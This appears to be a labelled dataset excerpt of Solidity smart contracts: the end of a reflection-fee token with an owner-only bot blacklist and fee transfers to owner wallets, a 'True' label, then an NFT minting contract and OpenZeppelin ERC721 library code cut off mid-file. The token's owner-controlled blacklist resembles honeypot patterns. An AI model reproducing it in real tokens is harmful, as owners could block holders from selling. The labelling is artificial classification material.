if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 4250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
True
|
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract SeeNoEvilMonkeyArt is ERC721Enumerable, Ownable {
using Strings for uint256;
string baseURI;
string public notRevealedURI;
uint256 public maxSupply = 9999;
uint256 public price = 0.06 ether;
uint256 public whitelistDiscount = 0.01 ether;
uint256 public maxMintAmount = 10;
uint256 private _giveAwaysReserved = 100;
bool public paused = false;
bool public revealed = false;
mapping(address => bool) public whitelist;
constructor(string memory initNotRevealedUri)
ERC721("SeeNoEvilMonkeyArt", "SNEMA")
{
setNotRevealedURI(initNotRevealedUri);
}
function mint(uint256 amount) public payable whenNotPaused {
uint256 supply = totalSupply();
uint256 currentPrice = price;
if (whitelist[msg.sender]) currentPrice -= whitelistDiscount;
require(amount > 0, "Minium amount to mint is 1");
require(amount <= maxMintAmount, "Exceeds maximum amount of mints per tx");
require(
supply + amount <= maxSupply - _giveAwaysReserved,
"Exceeds maximum supply"
);
require(msg.value >= currentPrice * amount, "Ether sent is not correct");
for (uint256 i; i < amount; i++) {
_safeMint(msg.sender, supply + i);
}
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
// only owner
function applyNextMintStage(
uint256 newMaxSupply,
uint256 newPrice,
uint256 newWhitelistDiscount
) public onlyOwner {
setMaxSupply(newMaxSupply);
setPrice(newPrice);
setWhitelistDiscount(newWhitelistDiscount);
}
function setMaxSupply(uint256 newMaxSupply) public onlyOwner {
uint256 supply = totalSupply();
require(
supply <= newMaxSupply,
"Current supply exceeds new maximum supply"
);
require(
supply + _giveAwaysReserved <= newMaxSupply,
"GiveAwaysReserved exceeds new maximum supply"
);
maxSupply = newMaxSupply;
}
function setPrice(uint256 newPrice) public onlyOwner {
price = newPrice;
}
function setWhitelistDiscount(uint256 newWhitelistDiscount) public onlyOwner {
whitelistDiscount = newWhitelistDiscount;
}
function setMaxMintAmount(uint256 newMaxMintAmount) public onlyOwner {
maxMintAmount = newMaxMintAmount;
}
function setBaseURI(string memory newBaseURI) public onlyOwner {
baseURI = newBaseURI;
}
function setNotRevealedURI(string memory newNotRevealedURI) public onlyOwner {
notRevealedURI = newNotRevealedURI;
}
function reveal() public onlyOwner {
revealed = true;
}
function pause(bool state) public onlyOwner {
paused = state;
}
function addToWhitelist(address addr) public onlyOwner {
whitelist[addr] = true;
}
function addToWhitelistMany(address[] memory addrs) public onlyOwner {
for (uint256 i = 0; i < addrs.length; i++) {
whitelist[addrs[i]] = true;
}
}
function setGiveAwaysReserved(uint256 newGiveAwaysReserved) public onlyOwner {
uint256 supply = totalSupply();
require(
supply + newGiveAwaysReserved <= maxSupply,
"GiveAwaysReserved exceeds maximum supply"
);
_giveAwaysReserved = newGiveAwaysReserved;
}
function giveAway(address to, uint256 amount) external onlyOwner {
_giveAway(to, amount);
}
function giveAwayMany(address[] memory addresses, uint256[] memory amounts)
external
onlyOwner
{
require(
addresses.length == amounts.length,
"Addresses and amounts doesn't match"
);
for (uint256 i = 0; i < addresses.length; i++) {
_giveAway(addresses[i], amounts[i]);
}
}
function withdrawAll() public payable onlyOwner {
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
function _giveAway(address to, uint256 amount) internal {
require(amount <= _giveAwaysReserved, "Exceeds reserved give aways supply");
uint256 supply = totalSupply();
for (uint256 i; i < amount; i++) {
_safeMint(to, supply + i);
}
_giveAwaysReserved -= amount;
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (revealed == false) {
return notRevealedURI;
}
string memory currentBaseURI = _baseURI();
return
bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), ".json"))
: "";
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
modifier whenNotPaused() {
require(!paused, "Mint paused");
_;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
